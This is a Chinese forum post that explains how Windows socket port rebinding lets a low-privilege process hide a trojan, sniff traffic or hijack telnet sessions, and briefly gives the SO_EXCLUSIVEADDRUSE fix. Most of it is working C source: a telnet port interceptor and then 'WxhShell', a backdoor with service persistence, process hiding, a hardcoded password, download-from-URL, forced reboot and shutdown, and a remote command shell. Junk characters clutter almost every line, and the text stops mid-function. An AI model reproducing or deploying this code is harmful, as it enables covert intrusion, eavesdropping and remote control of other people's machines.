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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (V0KmNCW`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 68~5Dx  
xW58B  
  saddr.sin_family = AF_INET; DuIgFp  
~|{_Go{ Q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |{La@X  
`t+;[G>ZE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FBa- gm<9  
L$^)QxH7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >J{e_C2ZS  
zICrp  
  这意味着什么?意味着可以进行如下的攻击: rVwW%&  
@/xdWN!,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,mM7g  
<DhuY/o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2\CZ"a#[  
]PB95%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7Ac.^rv5  
jWso'K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y0'WB`hNQ  
I(<Trn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'N`x@(  
BwVq:)P/R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vd/BO  
YD#L@:&gv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1jd.tup  
%yK- Q,'O  
  #include _)6r@fZ.p  
  #include r(<91~Ww  
  #include 3gv?rJV  
  #include    r9p ((ir  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I_|W'%N]  
  int main() &_' evZ8  
  { V!s#xXD}  
  WORD wVersionRequested; n>,? V3ly  
  DWORD ret; F(w<YU %6  
  WSADATA wsaData; CKX3t:HP0  
  BOOL val; d"S\j@  
  SOCKADDR_IN saddr; _p<wATv?7t  
  SOCKADDR_IN scaddr; %&wi@ *#  
  int err; :0p$r pJP  
  SOCKET s; HC"yC;_  
  SOCKET sc; h<7@3Ur  
  int caddsize; zr wzI+4  
  HANDLE mt; zuF]E+  
  DWORD tid;   lU`t~|>r+  
  wVersionRequested = MAKEWORD( 2, 2 ); ,M :j5  
  err = WSAStartup( wVersionRequested, &wsaData ); p{&o{+c  
  if ( err != 0 ) { ]+>Kl>@  
  printf("error!WSAStartup failed!\n"); f DPLB[  
  return -1; .f|)od[  
  } DHuUEv<  
  saddr.sin_family = AF_INET; h]}DMVV]  
   tUGF8?& G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ()Q q7/  
M$} AJS%8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mqDI'~T9 u  
  saddr.sin_port = htons(23); Yw\lNhoPS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /1eeNbd  
  { E9]*!^=/  
  printf("error!socket failed!\n"); PR%n>a#  
  return -1; o bGvd6\  
  } $&sV.fGu  
  val = TRUE; { &J OO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ITD&w g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L#fK ,r8  
  { +y\o^w4sT  
  printf("error!setsockopt failed!\n"); 0JW =RW  
  return -1; pz"}o#R"x  
  } -4obX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2`Ihrz6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k|$?b7)"@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <:!:7  
PmtXD6p3(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Lc(eY{CY  
  { yoM^6o^,D  
  ret=GetLastError(); M3eFG@,  
  printf("error!bind failed!\n"); T-x}o  
  return -1; Kp19dp}'b  
  } Dn`  
  listen(s,2); z~ua#(z1S  
  while(1) V14+?L  
  { PgsG*5WQ  
  caddsize = sizeof(scaddr); 2_TFc2d  
  //接受连接请求 H!|g?"C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F:AVik  
  if(sc!=INVALID_SOCKET) z Ece>=C  
  { }taG/kE62  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); T&j:gg  
  if(mt==NULL) pk6<wAs*?#  
  { A>)Ced!  
  printf("Thread Creat Failed!\n"); HrUE?Sq  
  break; BadnL<cj]  
  } ^b 3nEcQn  
  } DXZZZ[#  
  CloseHandle(mt); *hh9 K  
  } r6It )PQ  
  closesocket(s); Sa/]81 aG  
  WSACleanup(); vVSf'w   
  return 0; nuw7pEW@?  
  }   t >Rh  
  DWORD WINAPI ClientThread(LPVOID lpParam) n*9nzx#q  
  { Y/ %XkDC~  
  SOCKET ss = (SOCKET)lpParam; TY?O$d2b3  
  SOCKET sc; szD9z{9"y  
  unsigned char buf[4096]; Az/B/BLB  
  SOCKADDR_IN saddr; _/YM@%d  
  long num; xl9S=^`=  
  DWORD val; tjQ6[`  
  DWORD ret; FM|3'a-z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 KGmAnN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gL`aLg_  
  saddr.sin_family = AF_INET; /x\~ 5cC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); IA$=  
  saddr.sin_port = htons(23); ^-F#"i|Cn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V`G^Jyj  
  { '=J|IN7WT  
  printf("error!socket failed!\n"); P1 |3%#c  
  return -1; f/"IC;<~t>  
  } FytGg[#]  
  val = 100; 2 ]n4)vv,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +`!>lo{X  
  { t ;fJ`.  
  ret = GetLastError(); ULO_?4}B  
  return -1; 5Ha(i [d  
  } c=aZ[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E&)o.l<h|  
  { m ;wj|@cF  
  ret = GetLastError(); V{X/yN.u  
  return -1; =Z..&H5i  
  } H|/"'t OZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VO /b&%  
  { +wZ|g6vMct  
  printf("error!socket connect failed!\n"); =&~ K;=:  
  closesocket(sc); n*caP9B  
  closesocket(ss); {U4{v=,!I  
  return -1; @~FJlG(n  
  } R_"6E8N  
  while(1) D`U,T& @  
  { qC q?`0&#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n*Hx"2XF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9%riB/vkrF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S'`RP2P  
  num = recv(ss,buf,4096,0); ,rOh*ebF  
  if(num>0) h?vny->uJ  
  send(sc,buf,num,0); <- R%  
  else if(num==0) @\+UTkl8  
  break; =%|f-x  
  num = recv(sc,buf,4096,0); Z A}!Rzo  
  if(num>0) U*XdFH}vV  
  send(ss,buf,num,0); Vddod  
  else if(num==0) XANJA  
  break; sXYXBX[  
  } 5C9 .h:c4y  
  closesocket(ss); UG]x CkDS  
  closesocket(sc); uWi pjxS  
  return 0 ; >y$*|V}k  
  } Z% ]LZ/O8  
w^:@g~  
5i'KGL  
========================================================== =6N=5JePB  
fc4jbPp:M  
下边附上一个代码,,WXhSHELL 3@* ~>H  
Iz&d S?p_  
========================================================== @6-3D/=  
S_s;foT  
#include "stdafx.h" &a6-+r  
X5= Ki $+  
#include <stdio.h> G]dHYxG  
#include <string.h> e~nh95  
#include <windows.h> 0*j\i@  
#include <winsock2.h> 3f:]*U+O  
#include <winsvc.h> 5f75r  
#include <urlmon.h> hTPvt  
%D7'7E8.  
#pragma comment (lib, "Ws2_32.lib") %Rf{v5  
#pragma comment (lib, "urlmon.lib") 4-9cp=\PE  
g@ ]1H41  
#define MAX_USER   100 // 最大客户端连接数 d <zD@ z  
#define BUF_SOCK   200 // sock buffer BWr!K5w>i  
#define KEY_BUFF   255 // 输入 buffer 4$4Tx9C  
S+?*l4QK  
#define REBOOT     0   // 重启 |T-Y tuy8  
#define SHUTDOWN   1   // 关机 }S%}%1pG7  
ES#q/yab5  
#define DEF_PORT   5000 // 监听端口 Mb97S]878I  
Ifq|MZ\  
#define REG_LEN     16   // 注册表键长度 ~se ;L  
#define SVC_LEN     80   // NT服务名长度 1y eD-M"w  
Djf~8q V!  
// 从dll定义API "V,dH%&j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w)h"?'m~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QwuSo{G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ko "JH=<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \?^ EFA+;  
S)"vyGv  
// wxhshell配置信息 i,L"%q)C  
struct WSCFG { L l,nt  
  int ws_port;         // 监听端口 6K >(n  
  char ws_passstr[REG_LEN]; // 口令 L>N)[;|  
  int ws_autoins;       // 安装标记, 1=yes 0=no R5 EC/@  
  char ws_regname[REG_LEN]; // 注册表键名 v4\ m9Pu4  
  char ws_svcname[REG_LEN]; // 服务名 Ey_mK\'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WK.,q>#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nVGOhYn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \_+Af`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7j"B-k#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F^!mgU X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f Qw|SW  
f%REN3=5K  
}; GB}X  
y;hco  
// default Wxhshell configuration vVo# nzeZ5  
struct WSCFG wscfg={DEF_PORT, 4ijZQ  
    "xuhuanlingzhe", ^(:na6C  
    1, j>~ @vq  
    "Wxhshell", (e<p^T J]  
    "Wxhshell", `2'*E\   
            "WxhShell Service", f&X M|Bg  
    "Wrsky Windows CmdShell Service", 0b2;  
    "Please Input Your Password: ", 5'xZ9K  
  1, ^!O2Fw  
  "http://www.wrsky.com/wxhshell.exe", !V/p.O  
  "Wxhshell.exe" X4"[,:Tw  
    }; *C> N  
U"Z %_[*  
// 消息定义模块 `?T8NK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lPz5.(5'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =.9tRq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^ .Q/iXgh  
char *msg_ws_ext="\n\rExit."; ?!bWUVC)_  
char *msg_ws_end="\n\rQuit.";  M|>-q  
char *msg_ws_boot="\n\rReboot..."; p\xsW "=8q  
char *msg_ws_poff="\n\rShutdown..."; ,UD5>Ai  
char *msg_ws_down="\n\rSave to "; /ZSdY_%s  
fJY b)sN  
char *msg_ws_err="\n\rErr!"; B_%O6  
char *msg_ws_ok="\n\rOK!"; w_q =mKu  
1$"wN z  
char ExeFile[MAX_PATH]; O[ ^zQA  
int nUser = 0; MO79FNH2\  
HANDLE handles[MAX_USER]; %5 <t3 H"  
int OsIsNt; 2f 9%HX(5  
&oDu$%dkT  
SERVICE_STATUS       serviceStatus; b*< *,Ds/G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "C+Fl /v  
,E4qxZC(X  
// 函数声明 o4&#,m+ :  
int Install(void); 2V*<J:;wb  
int Uninstall(void); l3kBt-m  
int DownloadFile(char *sURL, SOCKET wsh); l`{JxVg  
int Boot(int flag); Oin:5K)4-  
void HideProc(void); r}t%DH  
int GetOsVer(void); uTP4r  
int Wxhshell(SOCKET wsl); Y F W0  
void TalkWithClient(void *cs); %W$?*Tm  
int CmdShell(SOCKET sock); ?^: xNRE$j  
int StartFromService(void); `ln= D$  
int StartWxhshell(LPSTR lpCmdLine); pB,@<\l %  
iS28p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }5ONDg(I~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \Eyy^pb  
hfQ^C6yR  
// 数据结构和表定义 wW^3/  
SERVICE_TABLE_ENTRY DispatchTable[] = C#.d sl  
{ 71Mk!E=1  
{wscfg.ws_svcname, NTServiceMain}, ;#?+i`9'q  
{NULL, NULL} @nF#\  
}; F}#=qBa[  
FDRpK 5cw  
// 自我安装 $e![^I]`  
int Install(void) <' b%  
{ )TgjaR9G  
  char svExeFile[MAX_PATH]; wmgKh)`@_{  
  HKEY key; ,vUMy&AV  
  strcpy(svExeFile,ExeFile); &k {1N.  
@Tf5YZ*  
// 如果是win9x系统,修改注册表设为自启动 {-\VX2:;[9  
if(!OsIsNt) { uY=}w"Db  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \o,`@2H+'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M7n|Z{?(  
  RegCloseKey(key); Nv_"?er+y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1:lhZFZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4 5\%2un  
  RegCloseKey(key); 6 {tW$q  
  return 0;  &+Pcu5  
    } lO0 PZnW9  
  } b 7bbrR8  
} 20H$9M=}  
else { bi[gyl#  
`;!v<@:i2  
// 如果是NT以上系统,安装为系统服务 O WVa&8O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); geu8$^  
if (schSCManager!=0) 8z, |N#  
{ NbnuQPb'  
  SC_HANDLE schService = CreateService E`SFr  
  ( (""1[XURQK  
  schSCManager, `7zNVYur8  
  wscfg.ws_svcname, CvtG  
  wscfg.ws_svcdisp, Awad!_VdHS  
  SERVICE_ALL_ACCESS, T!N,1"r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u;*Wc9>sU  
  SERVICE_AUTO_START, Pz1[ b$%  
  SERVICE_ERROR_NORMAL, (s`yMUC+  
  svExeFile, v='h  
  NULL, 'WG%O7s.  
  NULL, 438+ zU  
  NULL, g2WDa'{L  
  NULL, :n&n"`D~  
  NULL ?qt>;o|Ue  
  ); @^$Xy<x  
  if (schService!=0) K?q1I<94  
  { =MqefV;-  
  CloseServiceHandle(schService); zl j%v/9  
  CloseServiceHandle(schSCManager); +SSF=]4+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *@r)3  
  strcat(svExeFile,wscfg.ws_svcname); FU|c[u|z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -$4#eG%3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OIa =$l43C  
  RegCloseKey(key); (:>: tcE  
  return 0; Cu0N/hBT  
    } lk6*?EJ  
  } mzz77i  
  CloseServiceHandle(schSCManager); >g@;`l.Z#  
} X'Dg= |  
} eM*@zo<-  
yD+)!q"  
return 1; HKk;oG  
} $g55wGF  
)x-iru A:  
// 自我卸载 XU Hu=2F  
int Uninstall(void) xGq,hCQHV  
{ wY2#xD  
  HKEY key; WKFmU0RK  
# k1%}k=  
if(!OsIsNt) { n_%JXm#\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m Kwhd} V  
  RegDeleteValue(key,wscfg.ws_regname); iO;q]  
  RegCloseKey(key); Q9N=yz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [EDw0e  
  RegDeleteValue(key,wscfg.ws_regname); 0sq1SHI{  
  RegCloseKey(key); '!64_OMj'  
  return 0; :Xv3< rS<  
  } 6|m1z  
} %Ysu613mz  
} R ;^[4<&  
else { BW}^n  
?w1_.m|8u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AA9OElCa  
if (schSCManager!=0) .9WJ/RKZ\D  
{ '}*5ee](S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3_2(L"S2  
  if (schService!=0) dZm>LVjG  
  { KL!k'4JNY  
  if(DeleteService(schService)!=0) { 6I(y`pJ  
  CloseServiceHandle(schService);  gM20n^  
  CloseServiceHandle(schSCManager); G6xdGUM  
  return 0; S=^yJ6 xJ  
  } NjVuwIm+  
  CloseServiceHandle(schService); ehI*cf({  
  } O,ZvV3  
  CloseServiceHandle(schSCManager); X&h4A4#P  
} u4NMJnX  
} b5 YE4h8%  
HFBGM\R02  
return 1; X%xX3e'  
} 3@?#4]D{'  
7rc^-!k  
// 从指定url下载文件 }-k<>~FA  
int DownloadFile(char *sURL, SOCKET wsh) )H#Hs<)Qy  
{ %up ]"L&i  
  HRESULT hr;  mQBq-;  
char seps[]= "/"; %xf6U>T  
char *token; zWgNDYT~  
char *file; ~;,]/'O  
char myURL[MAX_PATH]; s d>&6 R^  
char myFILE[MAX_PATH]; gVsAz  
KP[ax2!x  
strcpy(myURL,sURL); DIH.c7o  
  token=strtok(myURL,seps); ]x?9lQ1&  
  while(token!=NULL) ($' rV!}  
  { \szx.IZT  
    file=token; 0O+s3#"?@  
  token=strtok(NULL,seps); ouK&H|'  
  } /K:M ,q  
BS>|M}G)r  
GetCurrentDirectory(MAX_PATH,myFILE); aG8}R~wH&  
strcat(myFILE, "\\"); R:x4j#(  
strcat(myFILE, file); 3/>McZ@OH  
  send(wsh,myFILE,strlen(myFILE),0);  W *0XV  
send(wsh,"...",3,0); b[? 6/#N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BbA>1#i5]  
  if(hr==S_OK) !v<r=u  
return 0; 'N)&;ADx-G  
else x"K<@mR5G  
return 1; FEw51a+V  
%YM4x!6  
} w#U3h]>,  
/_l%Dm?  
// 系统电源模块 Z$kff-Y4  
int Boot(int flag) OqtQLqN  
{ 9 bYoWw  
  HANDLE hToken; XL>Vwd  
  TOKEN_PRIVILEGES tkp; <33[qt~  
D)8&v` L S  
  if(OsIsNt) { 2)h i(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &Hb6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NZ/gp"D?  
    tkp.PrivilegeCount = 1; YTpSR~!Rj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SfyZ,0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )TFaG[tj  
if(flag==REBOOT) { VZ'[\3J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oh-Y  
  return 0; 8n?qm96  
} kih;'>H<  
else { {3lsDU4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $GNN* WmHw  
  return 0; ;RB]awE  
} (Ybc~M)z  
  } iKN~fGRc  
  else { Mi,yg=V  
if(flag==REBOOT) { D5Wo e&g,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $FZ~]Ef  
  return 0; &Vg+n 0  
} QUVwO m  
else { v*<hE>J0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?<]BLkx  
  return 0; a&6 3[p.<}  
} AIR,XlD  
} [U]U *x  
\Pi\c~)Pr  
return 1; 9Iq[@v  
} *r@7:a5  
#Gx%PQ`  
// win9x进程隐藏模块 QxH%4 )?  
void HideProc(void)  msM  
{ "6 |j 0?Q  
d }=fJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *%7[{Loz  
  if ( hKernel != NULL )  gPh;  
  { "}!|V)K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ci0)kxUBF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >N62t9Ll[  
    FreeLibrary(hKernel); ST5L O#5  
  } Q&@Ls?pu  
e) 42SL^s  
return; f 5"1WtB  
} rCGXHbj%  
$~!%Px)  
// 获取操作系统版本 R2vT\ 6xv  
int GetOsVer(void) O`Er*-O  
{ :f G5?])  
  OSVERSIONINFO winfo; LQ`s>q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #(F/P!qk  
  GetVersionEx(&winfo); JS <S?j?*/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <qT[  
  return 1; Bha#=>4FU  
  else 0_q8t!<xJw  
  return 0; K'%2'd  
} U>w#`Sy[  
;{EIx*<d  
// 客户端句柄模块 U(P^-J<n1  
int Wxhshell(SOCKET wsl) FkY}6  
{ X]8(_[Y  
  SOCKET wsh; Q^prHn*@  
  struct sockaddr_in client; aUa.!,_dh  
  DWORD myID; 3)88B"E  
~U(`XvR\4  
  while(nUser<MAX_USER) O B`(,m#  
{ b3F)$UQ  
  int nSize=sizeof(client); -0r 0M )  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v/*}M&vo  
  if(wsh==INVALID_SOCKET) return 1; h/5|3  
Z<L}ur  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7/+I"~  
if(handles[nUser]==0) ;$,=VB:'  
  closesocket(wsh); [~*5uSG  
else 1AQVj]#S  
  nUser++; qmqWMLfC  
  } 5xC4lT/U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s!,m,l[P  
a?jUm.  
  return 0; |0ATH`{  
} "5 ;fuM1  
w^z5O6   
// 关闭 socket ,`PC^`0c}o  
void CloseIt(SOCKET wsh) -{`8Av5)E%  
{ \~ m\pf?  
closesocket(wsh); dp#JvZb  
nUser--; 7f|8SB  
ExitThread(0); ?lq  
} lC/1,Z/M  
|_."U9!Z^  
// 客户端请求句柄 8C]K36q  
void TalkWithClient(void *cs) )Tjh  
{ @W}cM  
Q2yD4>qy  
  SOCKET wsh=(SOCKET)cs; K8#MQR2@  
  char pwd[SVC_LEN]; k%uR!cL  
  char cmd[KEY_BUFF]; xfoQx_]$Im  
char chr[1]; p 4_j>JPv5  
int i,j; ~MWI-oK  
g>G+?PY  
  while (nUser < MAX_USER) { m}A|W[p<  
TOapq9B]  
if(wscfg.ws_passstr) { -p.c8B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ypU-/}Cf,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p0*qv"lA  
  //ZeroMemory(pwd,KEY_BUFF); 2[|52+zhc  
      i=0; =mR~\R( I  
  while(i<SVC_LEN) { z]_2lx2e  
5~D(jHY;  
  // 设置超时 ebno:)  
  fd_set FdRead; Ov8^6O  
  struct timeval TimeOut; PAng(tubl  
  FD_ZERO(&FdRead); &O +?#3  
  FD_SET(wsh,&FdRead); OQW%nF9~  
  TimeOut.tv_sec=8; n(I,pF  
  TimeOut.tv_usec=0; "DaE(S&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "&Hr)yyWG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a-e_q  
"I)/|x\G*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V>Dqw!  
  pwd=chr[0]; ^h\(j*/#X  
  if(chr[0]==0xd || chr[0]==0xa) { #[ f]-c(!  
  pwd=0; :eIi^K z[  
  break; <fHJ9(5$V  
  } 7 Tb[sc'  
  i++; tGE=!qk  
    } Cj%n?-  
%xt;&HE  
  // 如果是非法用户,关闭 socket Q,nJz*AJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +3uPHpMB-  
} T@wgWE<0y_  
5{/uHscwLa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'oKen!?A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u9nJ;:  
ai%*s&0/Y  
while(1) { "; 1@f"kw  
P~ : N  
  ZeroMemory(cmd,KEY_BUFF); d1P|v( `S9  
Qb%o%z?hee  
      // 自动支持客户端 telnet标准   "I3 #/~q  
  j=0; 8 Y4mTW  
  while(j<KEY_BUFF) { IR2=dQS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BP4xXdG  
  cmd[j]=chr[0]; @C-03`JWuK  
  if(chr[0]==0xa || chr[0]==0xd) { s$%t2UaV  
  cmd[j]=0; Hr_5N,  
  break; {V,aCr  
  } {Qi J-[q  
  j++; :)Pj()Os|  
    } zu3Fi = |0  
H )51J:4  
  // 下载文件 Y5CDdn  
  if(strstr(cmd,"http://")) { XGuxd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l-Be5?|{_  
  if(DownloadFile(cmd,wsh)) GO?hB4 9T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _aeIK  
  else t4iD<{4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [rkw k\m*  
  } !4-4i  
  else { @)\4 $#+-  
|nCVM\+5T  
    switch(cmd[0]) { 80zpRU"  
  #x qiGK  
  // 帮助 ]_BH"ng}  
  case '?': { iYZn`OAx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _9g-D9  
    break; O8 OAXRt/Y  
  } (xfh 9=.  
  // 安装 .TMLg(2hgv  
  case 'i': { }* \*<d 3  
    if(Install()) KomMzG:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MaPOmS8?  
    else fat;5XL@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ ]40xKF  
    break; f8 BZkh  
    } E!'6v DVC:  
  // 卸载 Ngj&1Ta&[  
  case 'r': { It7R}0Smg  
    if(Uninstall()) UX+vU@Co[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k".kbwcaF  
    else SJ91(K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0SfW:3  
    break; s+~GQcj<T  
    } Kt](|  
  // 显示 wxhshell 所在路径 tLi91)oG  
  case 'p': { "~=-Q#xO  
    char svExeFile[MAX_PATH]; &|j0GP&  
    strcpy(svExeFile,"\n\r"); NVghkd  
      strcat(svExeFile,ExeFile); W]oa7VAq  
        send(wsh,svExeFile,strlen(svExeFile),0); 06O_!"GD}  
    break; CuD}Uo+u  
    } (H5#r2h%Y  
  // 重启 DuNindo 8  
  case 'b': { XUzOt_L5<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~o#mX?'7  
    if(Boot(REBOOT)) ~4pP( JP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,f{w@Er  
    else { HMC-^4\%[  
    closesocket(wsh);  =n5n  
    ExitThread(0); _Dd>e=v  
    } #|4G,!  
    break; T60pw  
    } jz`3xFy *]  
  // 关机 7Q]c=i cg  
  case 'd': { `LNhamp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "w$,`M?2  
    if(Boot(SHUTDOWN)) ?m5E Xe  
